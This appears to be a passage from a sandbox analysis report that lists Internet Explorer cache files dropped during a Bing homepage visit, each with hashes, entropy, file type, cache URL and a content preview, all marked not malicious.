SHA-256:	4043C9590ED06FB4478C2C34CED13E37CB103962F2D6D1A2ACB6596571834252
SHA-512:	585FB9C4FD4EFD1334A711C96800357C30E1E4B4D53419DA89395878B430B8F5378BB2E9837F0CEBFB8464492349D7131F9FFF8FFF14B4B2965E37F0716991EF
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fhEPW.img&ehk=Y%2fkZDfGzvXTsnRuECbI3b9UBYNSaV6AAHPuYXAT9Ezw%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....`.`.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...nk.........XH.;..?.=.G.\..}..o..]O...w....L........B....B.S...u.j.....s.h...i..1[.U....!@zS+..-.@al.d.e...-...x.....w.1r..h.L+\!..e..mv...eU.....w.>1..!..V....B..z.P...9.qW7v.m.1F+[.Xf.:rzRb.<.b.....v)1.E..uc...i.0.)$$ed.....B......T....$..aZ1O....R.Y-.:n`r...zs.............h.I/..............c^Y.1.%.97.......Q<.2cv..A5..o.Bur.A......<...+]Z.nC..P6..${.A?.vX.!

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\th[3].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	4312
Entropy (8bit):	7.896629933392767
Encrypted:	false
SSDEEP:	96:pPE6aOSXvobhyGJ9XqX/qXkUTHgxHUymzHUyrxX968:pP2OSDeR74yJ9X
MD5:	C8F0AB2811C7353A12CE0A7463442862
SHA1:	51F0C9EC54F6F22A97BF9632C358B022D8219309
SHA-256:	50007CCC1F55815370BF8D7CC0257076B695A6CD1EDC8F3E20B7139C64CB0EC3
SHA-512:	938273185F822CA5F779203E939B51BC211CE961EFE74F007FC2F6EAB9D154559D6F810A8CCCF87A1718F66B32C34FF270386AC5F0039A9EADA6B1B8458533F9
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fhEhY.img&ehk=DiJV2bamEdyntRs4dmR33nolNSElabA2YgjiEaUh4ZA%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....`.`.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....I.......IP.......T...:B..8;[....Z.i...S.+.5...0}j&.h."...KIVi..$+,a.\|u..@r.WE..NP..9.Bt....B.U...Y).85X..M.q8.._........G...Z.,[N..I..Z._.9B.T...FPvev.....P..'..{.(.8.$...W..#M.y./....\|.q..S.8\|M!...`.tyu.k.=...j.......x.y..y.G..p..^....]9r.r..G.Vv.R..#...R.A.[3N......&.)<.j..9..6...;.8.E^kr;QJ.w4,\|'s#...c...4......7.....G..B@..8....,....r=E\|...<..9...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\4L4QdyjTv0HYE2Ig2ol9eYoqxg8[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1101
Entropy (8bit):	4.829151166001716
Encrypted:	false
SSDEEP:	24:t0S8eLfl954T0u2y3EO1gRcDrIvQaDxijjfscC:vLfRWtPDuQKIjq
MD5:	91CD11CFCCA65CFACE96153268D71F63
SHA1:	E0BE107728D3BF41D8136220DA897D798A2AC60F
SHA-256:	8EE1E6D7A487C38412D7B375AC4A6BD7E47F70858055EEB7957226ADA05544BE
SHA-512:	4367CE147C7FA4590838F23C47819B8954858128336979E28BA116924B92660A7CBDC9A8292C45C5F26FF591F423F03DFADCB78A772DBE86AC5FBABF0B4E7711
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/4L4QdyjTv0HYE2Ig2ol9eYoqxg8.svg
Preview:	<svg focusable="false" width="24px" height="24px" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <rect fill-opacity="0.2" fill="#000" x="0" y="0" width="24" height="24" rx="2"></rect>.. <g transform="translate(4, 4)">.. <path d="M13.2916881,1.29304814 L7.99395739,6.59077883 L2.69622669,1.29304814 C2.30349711,0.913737214 1.67923378,0.919161894 1.29315522,1.30524045 C0.907076669,1.691319 0.90165199,2.31558234 1.28096291,2.70831192 L6.57869361,8.00604261 L1.28096291,13.3037733 C0.90165199,13.6965029 0.907076669,14.3207662 1.29315522,14.7068448 C1.67923378,15.0929233 2.30349711,15.098348 2.69622669,14.7190371 L7.99395739,9.42130639 L13.2916881,14.7190371 C13.6844177,15.098348 14.308681,15.0929233 14.6947596,14.7068448 C15.0808381,14.3207662 15.0862628,13.6965029 14.7069519,13.3037733 L9.40922117,8.00604261 L14.7069519,2.70831192 C15.0976827,2.31746305 15.0976827,1.683897 14.7069519,1.29304814 C14.316103,0.902317288 13

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\5rqGloMo94v3vwNVR5OsxDNd8d0[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	461
Entropy (8bit):	4.834490109266682
Encrypted:	false
SSDEEP:	6:tI9mc4sl3WGPXN4x7ZguUz/KVqNFvneuFNH2N9wF+tC77LkeWVLKetCsYuwdOvX0:t41WeXNC1f3q/7H2DIZWYeIsrGYyKYx7
MD5:	4E67D347D439EEB1438AA8C0BF671B6B
SHA1:	E6BA86968328F78BF7BF03554793ACC4335DF1DD
SHA-256:	74DEB89D481050FD76A788660674BEA6C2A06B9272D19BC15F4732571502D94A
SHA-512:	BE40E5C7BB0E9F4C1687FFDDBD1FC16F1D2B19B40AB4865BE81DD5CF5F2D8F469E090219A5814B8DAED3E2CD711D4532E648664BFA601D1FF7BBAA83392D320E
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/5rqGloMo94v3vwNVR5OsxDNd8d0.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32"><title>UserSignedOutIcon</title><circle cx="16" cy="16" r="16" fill="#eee"/><path d="M12.73 13.1a3.271 3.271 0 1 1 3.27 3.2 3.237 3.237 0 0 1-3.27-3.2zm-2.73 9.069h1.088a4.91 4.91 0 0 1 9.818 0h1.094a5.884 5.884 0 0 0-3.738-5.434 4.238 4.238 0 0 0 2.1-3.635 4.366 4.366 0 0 0-8.73 0 4.238 4.238 0 0 0 2.1 3.635 5.878 5.878 0 0 0-3.732 5.434z" fill="#666"/><path fill="none" d="M0 0h32v32h-32z"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\6sxhavkE4_SZHA_K4rwWmg67vF0.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	20320
Entropy (8bit):	5.35616705330287
Encrypted:	false
SSDEEP:	384:Kh4xTJXiXZ4sb4ZENXjTDDoFWZ3BnqIfP5IDV6s4RKAvKXAL5Nuwbv++9O:YoTdiJpjBpBnqIH+Z6se4XALueO
MD5:	07F6B49331D0BD13597934A20FAC385B
SHA1:	B39E1439D7FC072AF4961D4AB6DE07D0BC64B986
SHA-256:	4752E030AC235C73E92EC8BBF124D9A32A424457CA9A6D6027A9595DA76F98D7
SHA-512:	333B12B6BC7F72156026829E820A4F24759E15973B474E2FFB264DEE4C50B0E478128255E416F3194E8C170A28DF02AA425D720CC5E15BC2382EA2D6D57A6F5B
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/6sxhavkE4_SZHA_K4rwWmg67vF0.gz.js
Preview:	/!DisableJavascriptProfiler/.var BM=BM\|\|{};BM.config={B:{timeout:250,delay:750,maxUrlLength:300,sendlimit:20,maxPayloadSize:14e3},V:{distance:20},N:{maxUrlLength:300},E:{buffer:30,timeout:5e3,maxUrlLength:300},C:{distance:10}},function(n){function vt(){if(!document.querySelector\|\|!document.querySelectorAll){k({FN:"init",S:"QuerySelector"});return}w={};e=[];ft=1;ut=0;rt=0;o=[];s=0;h=!1;var n=Math.floor(Math.random()*1e4).toString(36);t={P:{C:0,N:0,I:n,S:fi,M:r,T:0,K:r,F:0}};vi()}function ei(n,t){var r={};for(var i in n)i.indexOf("_")!==0&&(i in t&&(n[i]!==t[i]\|\|i==="i")?(r[i]=t[i],n[i]=t[i]):r[i]=null);return r}function oi(n){var i={};for(var t in n)n.hasOwnProperty(t)&&(i[t]=n[t]);return i}function b(n,t,r,u){if(!h){k({FN:"snapshot",S:n});return}r=r\|\|gt;t=t\|\|!1;var f=g()+r;ot(o,n)===-1&&o.push(n);t?(yt(),pt(t,u)):f>s&&(yt(),rt=sb_st(pt,r),s=f)}function k(n){var u={T:"CI.BoxModelError",FID:"CI",Name:ht,SV:ct,P:t&&"P"in t?d(t.P):r,TS:f(),ST:v},i,e;for(i in n)u[i]=n[i];e=d(u);wt(e)}func

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\BJp5dDFvoQm12CHBfp4PC6aiyg4.gz[1].css Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	73202
Entropy (8bit):	5.307816444057117
Encrypted:	false
SSDEEP:	1536:kcGJTL/mKzAAFl7JlsG0GRe1cxnoWC1kuyOYkTs/Kun:LGJ4AFl7JlsG0GRCcxnoWC1kuyOYkT0
MD5:	C912DA2683E71660357A600EE34A7873
SHA1:	5DFD028307D4CD8A66492E807B848FEC177AEC3A
SHA-256:	525D57B5D38D8212993C66A33F4CD15EDBD0F260A5AFCF539D092047A908D6EE
SHA-512:	31E2A56C27CC037AD903292DFA518E86642C2A610E9923DD4F7A2FD1347167E042E957A85E98561CC9178318D121DEA3EF165F88EEC79915D0687939DC25BBC9
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/BJp5dDFvoQm12CHBfp4PC6aiyg4.gz.css
Preview:	.scopes{color:rgba(255,255,255,.8);display:inline-block;left:0;white-space:nowrap;list-style:none;line-height:39px}.scopes.sc_hide{display:none}.scopes .scope{font-size:.8125rem;cursor:pointer;vertical-align:middle;margin-right:36px;background-repeat:no-repeat;position:relative;display:inline-block}.scopes .scope:hover,.scopes .scope.focusin{color:#fff}.scopes .scope:hover .overflow_menu,.scopes .scope.focusin .overflow_menu{transform:none}.scopes .scope:focus-within .overflow_menu{color:#fff;transform:none}.scopes .scope a{color:inherit;cursor:pointer;text-decoration:none}.scopes .scope.dots{margin-bottom:8px;font-weight:bold}.scopes .scope.dots:before{display:inline-block;content:'. . .'}.scopes .scope.dots.hover_focus:focus{outline:none}.scopes .scope .overflow_menu{color:#666;cursor:pointer;transform:scale(0);position:absolute;background-color:#fff;border-radius:6px;padding:4px 0;box-shadow:0 4px 12px 1px rgba(0,0,0,.14);min-width:155px}.scopes .scope .overflow_menu .overflow_item{

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\ELqKWpA6KkapLUFbOLS-IQ2zfXc[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	[TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:43:45], progressive, precision 8, 160x160, frames 3
Category:	downloaded
Size (bytes):	9908
Entropy (8bit):	7.8062296698930025
Encrypted:	false
SSDEEP:	192:sWK8UVOGWSkbr43J1ZBpYKL2wth0XM2Cc8AyJKl4xV0KamWtOb+SP0cX:s18bVBrK9B6G2whJ2i/cmygrP0e
MD5:	968C49AC8A1A3EF85F2884F226C55742
SHA1:	10BA8A5A903A2A46A92D415B38B4BE210DB37D77
SHA-256:	E441AFC03F067D1D85DF1F69EB8F482BFDA697CC217E11E1547B3CE964B15B2A
SHA-512:	07B13D6E736683E36091E5BC52F953F9077AD9CD656F0F91E52F17C4630BE3D7524000AA37CFD6CB29ECBB5315F973086630F240118DBE248B4F8A3E79B2B524
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/ELqKWpA6KkapLUFbOLS-IQ2zfXc.jpg
Preview:	......JFIF.....H.H.....PExif..II...............J...........R...(...........1.......Z...2.......f...z...H.......H.......GIMP 2.10.8.2019:08:01 11:43:45...............................................................................................a...................JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...M.......i.@.=h......)(.....)i(....(.h...)h...ZJZ.(...(...(....(...)i(......M.N4...S..4..!.E......(......(...Z(..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\Fsa_OI0AplCnVoXGca8ALOo0S0s[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	282
Entropy (8bit):	4.768675821769942
Encrypted:	false
SSDEEP:	6:tbXH4mc4sl3UY7eERI1+N9H5R0MLERIwoVNdJMvdIXyCWfuBIAFfu:tbH41niB1+bj0MLBnpavdqyVGBIAFm
MD5:	E38795B634154EC1FF41C6BCDA54EE52
SHA1:	16C6BF388D00A650A75685C671AF002CEA344B4B
SHA-256:	66B589F920473F0FD69C45C8E3C93A95BB456B219CBA3D52873F2A3A1880F3F0
SHA-512:	DCA2E67C46CFF1B9BE39CE8B0D83C34173E6B77EC08FA4EB4BA18A4555144523C570D785549FED7A9909C2E2C3B48D705B6E332832CA4D5DE424B5F7C3CD59BE
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/Fsa_OI0AplCnVoXGca8ALOo0S0s.svg
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16">.. <path d="M0 0h16v16h-16z" fill="none"/>.. <path d="M8 1a7 7 0 1 0 7 7 7 7 0 0 0-7-7zm1 10a1 1 0 0 1-2 0v-3a1 1 0 0 1 2 0zm-.293-5.293a1 1 0 1 1 .293-.707 1 1 0 0 1-.293.707z" fill="#767676"/>..</svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\JDHEvZVDnqsG9UcxzgIdtGb6thw.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	408
Entropy (8bit):	5.040387533075148
Encrypted:	false
SSDEEP:	12:2QWV6yRZ1nkDXAn357CXYX0cO2mAICL2b3TRn:2QO6P+5OYXJPi3TRn
MD5:	B4D53E840DB74C55CC3E3E6B44C3DAC1
SHA1:	89616D8595CF2D26B581287239AFB62655426315
SHA-256:	622B88D7D03DDACC92B81FE80A30B3D5A04072268BF9473BB29621E884AAB5F6
SHA-512:	4798E4E1E907EAE161E67B9BAB42206CE0F22530871EEC63582161E29DD00D2D7034E7D12CB3FE56FFF673BC9BB01F0646F9CA5DAED288134CB25978EFBBEC8F
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/JDHEvZVDnqsG9UcxzgIdtGb6thw.gz.js
Preview:	(function(){function u(){n&&(n.value.length>0?Lib.CssClass.add(sj_b,t):Lib.CssClass.remove(sj_b,t))}function f(r){n.value="";Lib.CssClass.remove(sj_b,t);sj_log("CI.XButton","Clicked","1");i&&Lib.CssClass.add(i,"b_focus");n.focus();n.click();r&&(r.preventDefault(),r.stopPropagation())}var i=_ge("b_header"),n=_ge("sb_form_q"),r=_ge("sb_clt"),t="b_sbText";n&&r&&(sj_be(r,"click",f),sj_be(n,"keyup",u),u())})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\NewErrorPageTemplate[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1612
Entropy (8bit):	4.869554560514657
Encrypted:	false
SSDEEP:	24:5Y0bQ573pHpACtUZtJD0lFBopZleqw87xTe4D8FaFJ/Doz9AtjJgbCzg:5m73jcJqQep89TEw7Uxkk
MD5:	DFEABDE84792228093A5A270352395B6
SHA1:	E41258C9576721025926326F76063C2305586F76
SHA-256:	77B138AB5D0A90FF04648C26ADDD5E414CC178165E3B54A4CB3739DA0F58E075
SHA-512:	E256F603E67335151BB709294749794E2E3085F4063C623461A0B3DECBCCA8E620807B707EC9BCBE36DCD7D639C55753DA0495BE85B4AE5FB6BFC52AB4B284FD
Malicious:	false
Preview:	.body..{.. background-repeat: repeat-x;.. background-color: white;.. font-family: "Segoe UI", "verdana", "arial";.. margin: 0em;.. color: #1f1f1f;..}.....mainContent..{.. margin-top:80px;.. width: 700px;.. margin-left: 120px;.. margin-right: 120px;..}.....title..{.. color: #54b0f7;.. font-size: 36px;.. font-weight: 300;.. line-height: 40px;.. margin-bottom: 24px;.. font-family: "Segoe UI", "verdana";.. position: relative;..}.....errorExplanation..{.. color: #000000;.. font-size: 12pt;.. font-family: "Segoe UI", "verdana", "arial";.. text-decoration: none;..}.....taskSection..{.. margin-top: 20px;.. margin-bottom: 28px;.. position: relative; ..}.....tasks..{.. color: #000000;.. font-family: "Segoe UI", "verdana";.. font-weight:200;.. font-size: 12pt;..}....li..{.. margin-top: 8px;..}.....diagnoseButton..{.. outline: none;.. font-size: 9pt;..}.....launchInternetOptionsButton..{.. outline: none;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\NnFHhz2jL6yzChtIhaB5IIVKY5k[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1111
Entropy (8bit):	4.61511796141903
Encrypted:	false
SSDEEP:	24:twgonGLheJUVYxCdBTMqTS05sLGkkhQgbQgwHW4QhJ:6gAShpyxCdBTrS05sLKhvUfSJ
MD5:	C04C8834AC91802186E6CE677AE4A89D
SHA1:	367147873DA32FACB30A1B4885A07920854A6399
SHA-256:	46CC84BA382B065045DB005E895414686F2E76B64AF854F5AD1AC0DF020C3BDB
SHA-512:	82388309085BD143E32981FE4C79604DCEFC4222FB2B53A8625852C3572BDE3D3A578DD558478E6A18F7863CC4EC19DFBA3EE78AD8A4CC71917BFFE027DC22C0
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/NnFHhz2jL6yzChtIhaB5IIVKY5k.svg
Preview:	<svg width="20px" height="16px" viewBox="0 0 20 16" focusable="false" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <g transform="translate(-10, -12)" fill="#007DAA" >.. <path d="M28.125,14.4615385 L25,14.4615385 L24.26875,13.0203077 C23.95125,12.3950769 23.30125,12 22.59125,12 L17.40875,12 C16.69875,12 16.04875,12.3950769 15.73125,13.0203077 L15,14.4615385 L11.875,14.4615385 C10.84,14.4615385 10,15.2886154 10,16.3076923 L10,26.1538462 C10,27.1729231 10.84,28 11.875,28 L28.125,28 C29.16,28 30,27.1729231 30,26.1538462 L30,16.3076923 C30,15.2886154 29.16,14.4615385 28.125,14.4615385 Z M20,25.5384615 C17.23875,25.5384615 15,23.3341538 15,20.6153846 C15,17.8966154 17.23875,15.6923077 20,15.6923077 C22.76125,15.6923077 25,17.8966154 25,20.6153846 C25,23.3341538 22.76125,25.5384615 20,25.5384615 Z M20,18.1538462 C18.62125,18.1538462 17.5,19.2578462 17.5,20.6153846 C17.5,21.9729231 18.62125,23.0769231 20,23.0769231 C21.37875,23.0769231

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\RYAVY2NL.htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	60387
Entropy (8bit):	5.762663884561899
Encrypted:	false
SSDEEP:	1536:GdrSCXrLQ4o3HuzcpUQq3ETOuKsIecFXdAjvd594fJLYv4jmAPb097Q53Opw:GhLQt3OwmQqsd59RQew
MD5:	21DBD31067685E115CB500A2715D3C27
SHA1:	7457F9D0CDAF7D00A81445ED1FAB918C0906ECBF
SHA-256:	2B36C567E597F687426721261AF8DF656DF93C7A5596FBDE620AAC1A2259D25D
SHA-512:	0350D68D409A7ACD7A6E015E482DA50F5961D8F75CBEEB4B5857FB31654D7B22B04E129B3E9C626A753EC774E821CE987A53F58FE22FF060152C973AFD2FA26A
Malicious:	false
Preview:	<!doctype html><html lang="en" dir="ltr"><head><meta name="theme-color" content="#4F4F4F" /><meta name="description" content="Bing helps you turn information into action, making it faster and easier to go from searching to doing." /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta property="fb:app_id" content="570810223073062" /><meta property="og:type" content="website" /><meta property="og:title" content="Info" /><meta property="og:image" content="https://www.bing.com/th?id=OHR.EggTree_ROW9453259256_tmb.jpg&rf=" /><meta property="og:image:width" content="1366" /><meta property="og:image:height" content="768" /><meta property="og:url" content="https://www.bing.com/?form=HPFBBK&ssd=20210404_0700&mkt=de-CH" /><meta property="og:site_name" content="Bing" /><meta property="og:description" content="If you find yourself in Germany or Austria around " /><title>Bing</title><link rel="shortcut icon"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\XvRHqJwJt19aXQca73hQTfvNMxk[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	545
Entropy (8bit):	5.028824557535963
Encrypted:	false
SSDEEP:	12:t4102hriVtBr4pFm9z0kjhlHJW1QOYIX+Xw5RxnnS8K0ML2wtp:t41jiVt5wIz0kjhlHJW1QNCRxS8KLL2a
MD5:	58725E06FABDC207D4350D6F3C5B33D0
SHA1:	5EF447A89C09B75F5A5D071AEF78504DFBCD3319
SHA-256:	EDD5715C42AD596AFE1CF07A400D4F33A2F5388C18ADFDD169A7E9467BC9E9DB
SHA-512:	69F8A2161EDE8AA0BE70ECF641D1C05D7E9B5E6952DD41255E02B7AE9FAFDC94A9547DDDB46A2FF9A56C852239558E3C6634D93A1D6D7669C719956C8D2F5DD6
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/XvRHqJwJt19aXQca73hQTfvNMxk.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" enable-background="new 0 0 20 20">.. <circle fill="#00809D" cx="10" cy="10" r="3"/>.. <circle fill="#00809D" cx="5.5" cy="5.5" r="1.25"/>.. <path stroke="#00809D" stroke-width="2" stroke-linecap="round" stroke-miterlimit="10" d="M1 7.25v-2.5c0-2.071 1.679-3.75 3.75-3.75h2.5M7.25 19h-2.5c-2.071 0-3.75-1.679-3.75-3.75v-2.5M19 12.75v2.5c0 2.071-1.679 3.75-3.75 3.75h-2.5M12.75 1h2.5c2.071 0 3.75 1.679 3.75 3.75v2.5" fill="none"/>.. <path fill="none" d="M0 0h20v20h-20z"/>..</svg>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\Y[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	gzip compressed data, max speed, from TOPS/20
Category:	dropped
Size (bytes):	367
Entropy (8bit):	7.392499740804336
Encrypted:	false
SSDEEP:	6:XtUTUdia1puX2slMH9S4/0hEHSKkim3Lp6WzxV2D+WPrB0TkMfNejI40mpE/:XyTUkaXYZMdSrEHSKk13EWHu+KmoF0mW
MD5:	8E7BD070E6285A8ED6C1F07DB9035F31
SHA1:	85C99C4BE6922B8E1F5176C7A88E1F51B6C634ED
SHA-256:	5BA44EFA7743241F7F9AB33C1255EE2470EE375CAE4B3BDA725F6A491AA42063
SHA-512:	5E1ED89DE6ED6B71B74DB11FC5902C5C01A79D18B5AF5569A236E0AD05BC7B51953F9F167138725F60D1627DCA5521118A623F2E7867AE7B9BF37AF9CC8F165D
Malicious:	false
Preview:	..........T.KS.0..........hZJ.P.X.@."..\.>...54.w...=.b........^......S..%.....Dr.oo0G......vx............F.:..z0..r!.2...R.mJ...a.c.py....../'K.<.Y.L....*...y..P....\,S..t.2.+Vk....Qu...@.CD...%.....X..v.....q../..A...d.....M...B.{..\.......6. ...G...'.g.s...4v.,6...?}.g7,.')\|.F.}X......X7,J.3....&!=....M.FtlXw6g....].....Kc..1.7........A.V....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\a282eRIAnHsW_URoyogdzsukm_o.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	423
Entropy (8bit):	5.117319003552808
Encrypted:	false
SSDEEP:	12:2gSYjthM4GF4aaXtdhI9DfaUZnsMQYAQI:2gSW/bS9/ZnsMAj
MD5:	3A5049DB26AF9CE03DB6A53D3541082D
SHA1:	934DAEA4EDDE2568CA02AB89AF23FDCFEB57339A
SHA-256:	AF8C36DEFED55D79106513865F69933E546E1E4C361E41C29F65905DED009047
SHA-512:	5E21B6E184CBB0013DCCE174345DAC14BB64D391CCA3B253F73C7373253FDCA5E0BB297A0BD2FAD237E4F796895807660369680621C49C8F99DF428ED3218C9E
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/a282eRIAnHsW_URoyogdzsukm_o.gz.js
Preview:	(function(n){function i(){var e,o,u,s,f,r;if(document.querySelector&&document.querySelectorAll){e=[];o=n.rules;for(u in o)for(s=o[u],u+=!s[2]?"":" >*",f=document.querySelectorAll(u),r=0;r<f.length;r++){var i=f[r],h=0,c=0,l=i.offsetWidth,a=i.offsetHeight;do h+=i.offsetLeft,c+=i.offsetTop;while(i=i.offsetParent);e.push({_e:f[r],x:h,y:c,w:l,h:a})}n.enqueue(t,e)}}var t="L";n.wireup(t,{load:null,compute:i,unload:null})})(BM)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\bLULVERLX4vU6bjspboNMw9vl_0.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/bLULVERLX4vU6bjspboNMw9vl_0.gz.js
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\down[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.249606135668305
Encrypted:	false
SSDEEP:	12:6v/7/2QeZ7HVJ6o6yiq1p4tSQfAVFcm6R2HkZuU4fB4CsY4NJlrvMezoW2uONroc:GeZ6oLiqkbDuU4fqzTrvMeBBlE
MD5:	C4F558C4C8B56858F15C09037CD6625A
SHA1:	EE497CC061D6A7A59BB66DEFEA65F9A8145BA240
SHA-256:	39E7DE847C9F731EAA72338AD9053217B957859DE27B50B6474EC42971530781
SHA-512:	D60353D3FBEA2992D96795BA30B20727B022B9164B2094B922921D33CA7CE1634713693AC191F8F5708954544F7648F4840BCD5B62CB6A032EF292A8B0E52A44
Malicious:	false
Preview:	.PNG........IHDR...............ex....PLTE....W..W..W..W..W..W..W..W..W..W..W..W..W.U..............W..W.!Y.#Z.$\.'].<r.=s.P..Q..Q..U..o..p..r..x..z..~.............................................b.............................................................................................................................................................................................................$..s...7tRNS.a.o(,.s....e......q*...................................F.Z....IDATx^%.S..@.C..jm.mTk...m.?\|;.y..S....F.t...,.......D.>..LpX=f.M...H4........=...=..xy.[h..7....7.....<.q.kH....#+....I..z.....'.ksC...X<.+..J>....%3BmqaV...h..Z._.:<.Y_jG...vN^.<>.Nu.u@.....M....?...1D.m~)s8..&....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\errorPageStrings[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
